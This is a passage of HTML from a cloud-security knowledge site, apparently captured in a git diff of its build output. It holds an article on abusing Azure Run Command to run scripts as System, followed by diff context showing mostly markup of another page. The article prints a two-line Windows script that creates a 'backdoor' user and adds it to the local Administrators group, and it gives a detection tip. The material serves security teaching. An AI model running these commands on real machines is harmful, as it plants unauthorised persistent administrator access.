middle"><svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M12 4a4 4 0 0 1 4 4 4 4 0 0 1-4 4 4 4 0 0 1-4-4 4 4 0 0 1 4-4m0 10c4.42 0 8 1.79 8 4v2H4v-2c0-2.21 3.58-4 8-4"/></svg></span> <strong>Original Research</strong></p> <hr> <p><a href=https://cloud.google.com/blog/topics/threat-intelligence/azure-run-command-dummies/ >Azure Run Command for Dummies</a> by <a href=https://cloud.google.com/ >Adrien Bataille, Anders Vejlby, Jared Scott Wilson, Nader Zaveri</a></p> </li> </ul> </div> <h2 id=technique>Technique<a class=headerlink href=#technique title="Permanent link">&para;</a></h2> <p><strong>MITRE:</strong> Execution &gt; Cloud Administration Command</p> <p><a href=https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview>Run Command</a> is an operation within Azure that allows administrators to run scripts on Windows and Linux virtual machines via the:</p> <ul> <li>Azure Portal,</li> <li>Azure CLI, and</li> <li>PowerShell</li> </ul> <p>Once configured the script is run via the virtual machine agent installed on the virtual machine.</p> <p>A script ran via Run Command runs with the following privleges:</p> <ul> <li><code>System</code> on Windows, and as </li> <li><code>root</code> on Linux</li> </ul> <p>In order to use this functionality an identity must have the following role assigned to it: <code>Microsoft.Compute/virtualMachines/runCommands/action</code></p> <p>This example focuses on the abuse of Run Commands against Windows hosts, however, the same methodology can be used to target Linux based virtual machines.</p> <p>The script that this example will utilise is as follows:</p> <div class=highlight><pre><span></span><code>net user /add backdoor BingoBango123!
 net localgroup administrators backdoor /add
 </code></pre></div> <p>This script:</p> <ul> <li>Creates a new user named <code>backdoor</code>, then</li> <li>Adds the user to the local <code>Administrator</code> group</li> </ul> <p>This example will use the Azure Portal to create and run the aforementioned script. More information on running these commands via the Azure CLI or PowerShell can be found within the relevant Microsoft <a href=https://learn.microsoft.com/en-us/azure/virtual-machines/run-command-overview>documentation</a>.</p> <p>Browsing to the virtual machine, we can select the Run Command option, enter our script then execute it, as depicted in the following screenshot:</p> <p><a class=glightbox href=../../images/azure/run-command-abuse/image-1.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="Run Command UI" src=../../images/azure/run-command-abuse/image-1.png></a></p> <p>Once the script has executed, we can authenticate to the virtual machine with our new credentials and check on it's status, as depicted in the following screenshot:</p> <p><a class=glightbox href=../../images/azure/run-command-abuse/image-2.png data-type=image data-width=auto data-height=auto data-desc-position=bottom><img alt="RDP session using backdoor account" src=../../images/azure/run-command-abuse/image-2.png></a></p> <p>Here we can see that the script has successfully executed, and the <code>backdoor</code> user has been added to the local <code>Administrator</code> group.</p> <h2 id=detection>Detection<a class=headerlink href=#detection title="Permanent link">&para;</a></h2> <p>The following operation name can be used to audit and alert on Run Commands being used within a tenant: <code>Microsoft.Compute/virtualMachines/runCommand/action</code></p> <h2 id=further-reading>Further reading<a class=headerlink href=#further-reading title="Permanent link">&para;</a></h2> <ul> <li>https://learn.microsoft.com/en-us/azure/virtual-machines/windows/run-command</li> <li>https://learn.microsoft.com/en-us/azure/virtual-machines/linux/run-command</li> </ul> <aside class=md-source-file> <span class=md-source-file__fact> <span class=md-icon title="Last update"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M21 13.1c-.1 0-.3.1-.4.2l-1 1 2.1 2.1 1-1c.2-.2.2-.6 0-.8l-1.3-1.3c-.1-.1-.2-.2-.4-.2m-1.9 1.8-6.1 6V23h2.1l6.1-6.1zM12.5 7v5.2l4 2.4-1 1L11 13V7zM11 21.9c-5.1-.5-9-4.8-9-9.9C2 6.5 6.5 2 12 2c5.3 0 9.6 4.1 10 9.3-.3-.1-.6-.2-1-.2s-.7.1-1 .2C19.6 7.2 16.2 4 12 4c-4.4 0-8 3.6-8 8 0 4.1 3.1 7.5 7.1 7.9l-.1.2z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">October 5, 2024</span> </span> <span class=md-source-file__fact> <span class=md-icon title=Created> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M14.47 15.08 11 13V7h1.5v5.25l3.08 1.83c-.41.28-.79.62-1.11 1m-1.39 4.84c-.36.05-.71.08-1.08.08-4.42 0-8-3.58-8-8s3.58-8 8-8 8 3.58 8 8c0 .37-.03.72-.08 1.08.69.1 1.33.32 1.92.64.1-.56.16-1.13.16-1.72 0-5.5-4.5-10-10-10S2 6.5 2 12s4.47 10 10 10c.59 0 1.16-.06 1.72-.16-.32-.59-.54-1.23-.64-1.92M18 15v3h-3v2h3v3h2v-3h3v-2h-3v-3z"/></svg> </span> <span class="git-revision-date-localized-plugin git-revision-date-localized-plugin-date">October 5, 2024</span> </span> </aside> </article> </div> <script>var target=document.getElementById(location.hash.slice(1));target&&target.name&&(target.checked=target.name.startsWith("__tabbed_"))</script> </div> </main> <footer class=md-footer> <div class="md-footer-meta md-typeset"> <div class="md-footer-meta__inner md-grid"> <div class=md-copyright> Made with <a href=https://squidfunk.github.io/mkdocs-material/ target=_blank rel=noopener> Material for MkDocs Insiders </a> </div> <div class=md-social> <a href=https://infosec.exchange/@hackingthecloud target=_blank rel="noopener me" title=infosec.exchange class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M433 179.11c0-97.2-63.71-125.7-63.71-125.7-62.52-28.7-228.56-28.4-290.48 0 0 0-63.72 28.5-63.72 125.7 0 115.7-6.6 259.4 105.63 289.1 40.51 10.7 75.32 13 103.33 11.4 50.81-2.8 79.32-18.1 79.32-18.1l-1.7-36.9s-36.31 11.4-77.12 10.1c-40.41-1.4-83-4.4-89.63-54a102.5 102.5 0 0 1-.9-13.9c85.63 20.9 158.65 9.1 178.75 6.7 56.12-6.7 105-41.3 111.23-72.9 9.8-49.8 9-121.5 9-121.5m-75.12 125.2h-46.63v-114.2c0-49.7-64-51.6-64 6.9v62.5h-46.33V197c0-58.5-64-56.6-64-6.9v114.2H90.19c0-122.1-5.2-147.9 18.41-175 25.9-28.9 79.82-30.8 103.83 6.1l11.6 19.5 11.6-19.5c24.11-37.1 78.12-34.8 103.83-6.1 23.71 27.3 18.4 53 18.4 175z"/></svg> </a> <a href=https://bsky.app/profile/hackingthe.cloud target=_blank rel=noopener title=bsky.app class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </a> <a href=https://x.com/HackingthCloud target=_blank rel=noopener title=x.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M459.37 151.716c.325 4.548.325 9.097.325 13.645 0 138.72-105.583 298.558-298.558 298.558-59.452 0-114.68-17.219-161.137-47.106 8.447.974 16.568 1.299 25.34 1.299 49.055 0 94.213-16.568 130.274-44.832-46.132-.975-84.792-31.188-98.112-72.772 6.498.974 12.995 1.624 19.818 1.624 9.421 0 18.843-1.3 27.614-3.573-48.081-9.747-84.143-51.98-84.143-102.985v-1.299c13.969 7.797 30.214 12.67 47.431 13.319-28.264-18.843-46.781-51.005-46.781-87.391 0-19.492 5.197-37.36 14.294-52.954 51.655 63.675 129.3 105.258 216.365 109.807-1.624-7.797-2.599-15.918-2.599-24.04 0-57.828 46.782-104.934 104.934-104.934 30.213 0 57.502 12.67 76.67 33.137 23.715-4.548 46.456-13.32 66.599-25.34-7.798 24.366-24.366 44.833-46.132 57.827 21.117-2.273 41.584-8.122 60.426-16.243-14.292 20.791-32.161 39.308-52.628 54.253"/></svg> </a> <a href=https://www.linkedin.com/company/hacking-the-cloud/ target=_blank rel=noopener title=www.linkedin.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M416 32H31.9C14.3 32 0 46.5 0 64.3v383.4C0 465.5 14.3 480 31.9 480H416c17.6 0 32-14.5 32-32.3V64.3c0-17.8-14.4-32.3-32-32.3M135.4 416H69V202.2h66.5V416zm-33.2-243c-21.3 0-38.5-17.3-38.5-38.5S80.9 96 102.2 96c21.2 0 38.5 17.3 38.5 38.5 0 21.3-17.2 38.5-38.5 38.5m282.1 243h-66.4V312c0-24.8-.5-56.7-34.5-56.7-34.6 0-39.9 27-39.9 54.9V416h-66.4V202.2h63.7v29.2h.9c8.9-16.8 30.6-34.5 62.9-34.5 67.2 0 79.7 44.3 79.7 101.9z"/></svg> </a> <a href=https://github.com/Hacking-the-Cloud target=_blank rel=noopener title=github.com class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </a> <a href=https://hackingthe.cloud/feed_rss_created.xml target=_blank rel=noopener title=hackingthe.cloud class=md-social__link> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 448 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M0 64c0-17.7 14.3-32 32-32 229.8 0 416 186.2 416 416 0 17.7-14.3 32-32 32s-32-14.3-32-32C384 253.6 226.4 96 32 96 14.3 96 0 81.7 0 64m0 352a64 64 0 1 1 128 0 64 64 0 1 1-128 0m32-256c159.1 0 288 128.9 288 288 0 17.7-14.3 32-32 32s-32-14.3-32-32c0-123.7-100.3-224-224-224-17.7 0-32-14.3-32-32s14.3-32 32-32"/></svg> </a> </div> </div> </div> </footer> </div> <div class=md-dialog data-md-component=dialog> <div class="md-dialog__inner md-typeset"></div> </div> <script id=__config type=application/json>{"base": "../..", "features": ["navigation.tabs", "navigation.indexes", "content.action.edit"], "search": "../../assets/javascripts/workers/search.c7c1ca2c.min.js", "translations": {"clipboard.copied": "Copied to clipboard", "clipboard.copy": "Copy to clipboard", "search.result.more.one": "1 more on this page", "search.result.more.other": "# more on this page", "search.result.none": "No matching documents", "search.result.one": "1 matching document", "search.result.other": "# matching documents", "search.result.placeholder": "Type to start searching", "search.result.term.missing": "Missing", "select.version": "Select version"}}</script> <script src=../../assets/javascripts/bundle.203fd0bc.min.js></script> <script src=../../javascripts/matomo.min.js></script> <script id="init-glightbox">const lightbox = GLightbox({"touchNavigation": true, "loop": false, "zoomable": true, "draggable": true, "openEffect": "zoom", "closeEffect": "zoom", "slideEffect": "slide"});
 document$.subscribe(() => { lightbox.reload() });
diff --git a/azure/soft-deleted-blobs/index.html b/azure/soft-deleted-blobs/index.html
index e8b324a76..7e4a1ded5 100644
--- a/azure/soft-deleted-blobs/index.html
+++ b/azure/soft-deleted-blobs/index.html
@@ -1,4 +1,4 @@
-<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Recovering and accessing files in private Storage Accounts that have been deleted."><link href=https://hackingthe.cloud/azure/soft-deleted-blobs/ rel=canonical><link href=../run-command-abuse/ rel=prev><link href=../../gcp/general-knowledge/default-account-names/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.46+insiders-4.53.14"><title>Soft Deleted Blobs - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Soft Deleted Blobs - Hacking The Cloud"><meta property=og:description content="Recovering and accessing files in private Storage Accounts that have been deleted."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/soft-deleted-blobs/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Soft Deleted Blobs - Hacking The Cloud"><meta property=twitter:description content="Recovering and accessing files in private Storage Accounts that have been deleted."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
+<!doctype html><html lang=en class=no-js> <head><meta charset=utf-8><meta name=viewport content="width=device-width,initial-scale=1"><meta name=description content="Recovering and accessing files in private Storage Accounts that have been deleted."><link href=https://hackingthe.cloud/azure/soft-deleted-blobs/ rel=canonical><link href=../run-command-abuse/ rel=prev><link href=../../gcp/general-knowledge/default-account-names/ rel=next><link rel=alternate type=application/rss+xml title="RSS feed" href=../../feed_rss_created.xml><link rel=alternate type=application/rss+xml title="RSS feed of updated content" href=../../feed_rss_updated.xml><link rel=icon href=../../assets/favicon.png><meta name=generator content="mkdocs-1.6.1, mkdocs-material-9.5.47+insiders-4.53.14"><title>Soft Deleted Blobs - Hacking The Cloud</title><link rel=stylesheet href=../../assets/stylesheets/main.d0dfab1c.min.css><link rel=stylesheet href=../../assets/stylesheets/palette.ab4e12ef.min.css><link rel=preconnect href=https://fonts.gstatic.com crossorigin><link rel=stylesheet href="https://fonts.googleapis.com/css?family=Roboto:300,300i,400,400i,700,700i%7CRoboto+Mono:400,400i,700,700i&display=fallback"><style>:root{--md-text-font:"Roboto";--md-code-font:"Roboto Mono"}</style><link rel=stylesheet href=../../stylesheets/extra.css><script>__md_scope=new URL("../..",location),__md_hash=e=>[...e].reduce(((e,_)=>(e<<5)-e+_.charCodeAt(0)),0),__md_get=(e,_=localStorage,t=__md_scope)=>JSON.parse(_.getItem(t.pathname+"."+e)),__md_set=(e,_,t=localStorage,a=__md_scope)=>{try{t.setItem(a.pathname+"."+e,JSON.stringify(_))}catch(e){}}</script><meta property=og:type content=website><meta property=og:title content="Soft Deleted Blobs - Hacking The Cloud"><meta property=og:description content="Recovering and accessing files in private Storage Accounts that have been deleted."><meta property=og:image content=https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png><meta property=og:image:type content=image/png><meta property=og:image:width content=1200><meta property=og:image:height content=630><meta content=https://hackingthe.cloud/azure/soft-deleted-blobs/ property=og:url><meta property=twitter:card content=summary_large_image><meta property=twitter:title content="Soft Deleted Blobs - Hacking The Cloud"><meta property=twitter:description content="Recovering and accessing files in private Storage Accounts that have been deleted."><meta property=twitter:image content=https://hackingthe.cloud/assets/images/social/azure/soft-deleted-blobs.png> <link href="../../assets/stylesheets/glightbox.min.css" rel="stylesheet"/><style>
     html.glightbox-open { overflow: initial; height: 100%; }
     .gslide-title { margin-top: 0px; user-select: text; }
     .gslide-desc { color: #666; user-select: text; }
@@ -7,6 +7,6 @@
     .gdesc-inner { font-size: 0.75rem; }
     body[data-md-color-scheme="slate"] .gdesc-inner { background: var(--md-default-bg-color);}
     body[data-md-color-scheme="slate"] .gslide-title { color: var(--md-default-fg-color);}
-    body[data-md-color-scheme="slate"] .gslide-desc { color: var(--md-default-fg-color);}</style> <script src="../../assets/javascripts/glightbox.min.js"></script></head> <body dir=ltr data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo> <input class=md-toggle data-md-toggle=drawer type=checkbox id=__drawer autocomplete=off> <input class=md-toggle data-md-toggle=search type=checkbox id=__search autocomplete=off> <label class=md-overlay for=__drawer></label> <div data-md-component=skip> <a href=#exploiting-soft-deleted-blobs class=md-skip> Skip to content </a> </div> <div data-md-component=announce> <aside class=md-banner> <div class="md-banner__inner md-grid md-typeset"> For updates follow <strong>Nick Frichette</strong> on <a rel=me href=https://bsky.app/profile/frichetten.com> <span class="twemoji bluesky"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 512 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M111.8 62.2C170.2 105.9 233 194.7 256 242.4c23-47.6 85.8-136.4 144.2-180.2 42.1-31.6 110.3-56 110.3 21.8 0 15.5-8.9 130.5-14.1 149.2-18.2 64.8-84.4 81.4-143.3 71.3C456 322 482.2 380 425.6 438c-107.4 110.2-154.3-27.6-166.3-62.9-1.7-4.9-2.6-7.8-3.3-7.8s-1.6 3-3.3 7.8c-12 35.3-59 173.1-166.3 62.9-56.5-58-30.4-116 72.5-133.5C100 314.6 33.8 298 15.7 233.1 10.4 214.4 1.5 99.4 1.5 83.9c0-77.8 68.2-53.4 110.3-21.8z"/></svg> </span> <strong>Bluesky</strong> </a>. </div> </aside> </div> <header class=md-header data-md-component=header> <nav class="md-header__inner md-grid" aria-label=Header> <a href=../.. title="Hacking The Cloud" class="md-header__button md-logo" aria-label="Hacking The Cloud" data-md-component=logo> <img src=../../assets/logo.png alt=logo> </a> <label class="md-header__button md-icon" for=__drawer> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M3 6h18v2H3zm0 5h18v2H3zm0 5h18v2H3z"/></svg> </label> <div class=md-header__title data-md-component=header-title> <div class=md-header__ellipsis> <div class=md-header__topic> <span class=md-ellipsis> Hacking The Cloud </span> </div> <div class=md-header__topic data-md-component=header-topic> <span class=md-ellipsis> Soft Deleted Blobs </span> </div> </div> </div> <form class=md-header__option data-md-component=palette> <input class=md-option data-md-color-media data-md-color-scheme=slate data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Dark Mode" type=radio name=__palette id=__palette_0> <label class="md-header__button md-icon" title="Switch to Dark Mode" for=__palette_1 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 6H7c-3.31 0-6 2.69-6 6s2.69 6 6 6h10c3.31 0 6-2.69 6-6s-2.69-6-6-6m0 10H7c-2.21 0-4-1.79-4-4s1.79-4 4-4h10c2.21 0 4 1.79 4 4s-1.79 4-4 4M7 9c-1.66 0-3 1.34-3 3s1.34 3 3 3 3-1.34 3-3-1.34-3-3-3"/></svg> </label> <input class=md-option data-md-color-media data-md-color-scheme=default data-md-color-primary=red data-md-color-accent=indigo aria-label="Switch to Light Mode" type=radio name=__palette id=__palette_1> <label class="md-header__button md-icon" title="Switch to Light Mode" for=__palette_0 hidden> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M17 7H7a5 5 0 0 0-5 5 5 5 0 0 0 5 5h10a5 5 0 0 0 5-5 5 5 0 0 0-5-5m0 8a3 3 0 0 1-3-3 3 3 0 0 1 3-3 3 3 0 0 1 3 3 3 3 0 0 1-3 3"/></svg> </label> </form> <script>var palette=__md_get("__palette");if(palette&&palette.color){if("(prefers-color-scheme)"===palette.color.media){var media=matchMedia("(prefers-color-scheme: light)"),input=document.querySelector(media.matches?"[data-md-color-media='(prefers-color-scheme: light)']":"[data-md-color-media='(prefers-color-scheme: dark)']");palette.color.media=input.getAttribute("data-md-color-media"),palette.color.scheme=input.getAttribute("data-md-color-scheme"),palette.color.primary=input.getAttribute("data-md-color-primary"),palette.color.accent=input.getAttribute("data-md-color-accent")}for(var[key,value]of Object.entries(palette.color))document.body.setAttribute("data-md-color-"+key,value)}</script> <label class="md-header__button md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> </label> <div class=md-search data-md-component=search role=dialog> <label class=md-search__overlay for=__search></label> <div class=md-search__inner role=search> <form class=md-search__form name=search> <input type=text class=md-search__input name=query aria-label=Search placeholder=Search autocapitalize=off autocorrect=off autocomplete=off spellcheck=false data-md-component=search-query required> <label class="md-search__icon md-icon" for=__search> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M9.5 3A6.5 6.5 0 0 1 16 9.5c0 1.61-.59 3.09-1.56 4.23l.27.27h.79l5 5-1.5 1.5-5-5v-.79l-.27-.27A6.52 6.52 0 0 1 9.5 16 6.5 6.5 0 0 1 3 9.5 6.5 6.5 0 0 1 9.5 3m0 2C7 5 5 7 5 9.5S7 14 9.5 14 14 12 14 9.5 12 5 9.5 5"/></svg> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M20 11v2H8l5.5 5.5-1.42 1.42L4.16 12l7.92-7.92L13.5 5.5 8 11z"/></svg> </label> <nav class=md-search__options aria-label=Search> <button type=reset class="md-search__icon md-icon" title=Clear aria-label=Clear tabindex=-1> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 24 24"><path d="M19 6.41 17.59 5 12 10.59 6.41 5 5 6.41 10.59 12 5 17.59 6.41 19 12 13.41 17.59 19 19 17.59 13.41 12z"/></svg> </button> </nav> </form> <div class=md-search__output> <div class=md-search__scrollwrap tabindex=0 data-md-scrollfix> <div class=md-search-result data-md-component=search-result> <div class=md-search-result__meta> Initializing search </div> <ol class=md-search-result__list role=presentation></ol> </div> </div> </div> </div> </div> <div class=md-header__source> <a href=https://github.com/Hacking-the-Cloud/hackingthe.cloud title="Go to repository" class=md-source data-md-component=source> <div class="md-source__icon md-icon"> <svg xmlns=http://www.w3.org/2000/svg viewbox="0 0 496 512"><!-- Font Awesome Free 6.7.1 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) Copyright 2024 Fonticons, Inc.--><path d="M165.9 397.4c0 2-2.3 3.6-5.2 3.6-3.3.3-5.6-1.3-5.6-3.6 0-2 2.3-3.6 5.2-3.6 3-.3 5.6 1.3 5.6 3.6m-31.1-4.5c-.7 2 1.3 4.3 4.3 4.9 2.6 1 5.6 0 6.2-2s-1.3-4.3-4.3-5.2c-2.6-.7-5.5.3-6.2 2.3m44.2-1.7c-2.9.7-4.9 2.6-4.6 4.9.3 2 2.9 3.3 5.9 2.6 2.9-.7 4.9-2.6 4.6-4.6-.3-1.9-3-3.2-5.9-2.9M244.8 8C106.1 8 0 113.3 0 252c0 110.9 69.8 205.8 169.5 239.2 12.8 2.3 17.3-5.6 17.3-12.1 0-6.2-.3-40.4-.3-61.4 0 0-70 15-84.7-29.8 0 0-11.4-29.1-27.8-36.6 0 0-22.9-15.7 1.6-15.4 0 0 24.9 2 38.6 25.8 21.9 38.6 58.6 27.5 72.9 20.9 2.3-16 8.8-27.1 16-33.7-55.9-6.2-112.3-14.3-112.3-110.5 0-27.5 7.6-41.3 23.6-58.9-2.6-6.5-11.1-33.3 2.6-67.9 20.9-6.5 69 27 69 27 20-5.6 41.5-8.5 62.8-8.5s42.8 2.9 62.8 8.5c0 0 48.1-33.6 69-27 13.7 34.7 5.2 61.4 2.6 67.9 16 17.7 25.8 31.5 25.8 58.9 0 96.5-58.9 104.2-114.8 110.5 9.2 7.9 17 22.9 17 46.4 0 33.7-.3 75.4-.3 83.6 0 6.5 4.6 14.4 17.3 12.1C428.2 457.8 496 362.9 496 252 496 113.3 383.5 8 244.8 8M97.2 352.9c-1.3 1-1 3.3.7 5.2 1.6 1.6 3.9 2.3 5.2 1 1.3-1 1-3.3-.7-5.2-1.6-1.6-3.9-2.3-5.2-1m-10.8-8.1c-.7 1.3.3 2.9 2.3 3.9 1.6 1 3.6.7 4.3-.7.7-1.3-.3-2.9-2.3-3.9-2-.6-3.6-.3-4.3.7m32.4 35.6c-1.6 1.3-1 4.3 1.3 6.2 2.3 2.3 5.2 2.6 6.5 1 1.3-1.3.7-4.3-1.3-6.2-2.2-2.3-5.2-2.6-6.5-1m-11.4-14.7c-1.6 1-1.6 3.6 0 5.9s4.3 3.3 5.6 2.3c1.6-1.3 1.6-3.9 0-6.2-1.4-2.3-4-3.3-5.6-2"/></svg> </div> <div class=md-source__repository> Hacking The Cloud </div> </a> </div> </nav> </header> <div class=md-container data-md-component=container> <nav class=md-tabs aria-label=Tabs data-md-component=tabs> <div class=md-grid> <ul class=md-tabs__list> <li class=md-tabs__item> <a href=../.. class=md-tabs__link> Hacking The Cloud </a> </li> <li class=md-tabs__item> <a href=../../aws/general-knowledge/aws_cli_tips_and_tricks/ class=md-tabs__link> AWS </a> </li> <li class="md-tabs__item md-tabs__item--active"> <a href=../abusing-managed-identities/ class=md-tabs__link> Azure </a> </li> <li class=md-tabs__item> <a href=../../gcp/general-knowledge/default-account-names/ class=md-tabs__link> GCP </a> </li> <li class=md-tabs__item> <a href=../../terraform/terraform_ansi_escape_evasion/ class=md-tabs__link> Terraform </a> </li> <li class=md-tabs__item> <a href=../../blog/2023_wrap-up/ class=md-tabs__link> Blog </a> </li> </ul> </div> </nav> <main class=md-main data-md-component=main> <div class="md-main__inner md-grid"> <div class="md-sidebar md-sidebar--primary" data-md-component=sidebar data-md-type=navigation> <div class=md-sidebar__scrollwrap> <div class=md-sidebar__inner> <nav class="md-nav md-nav--primary md-nav--lifted" aria-label=Navigation data-md-level=0> <label class=md-nav__title for=__drawer> <a href=../.. title="Hacking The Cloud" class="md-nav__button md-logo" aria-label="Hacking The 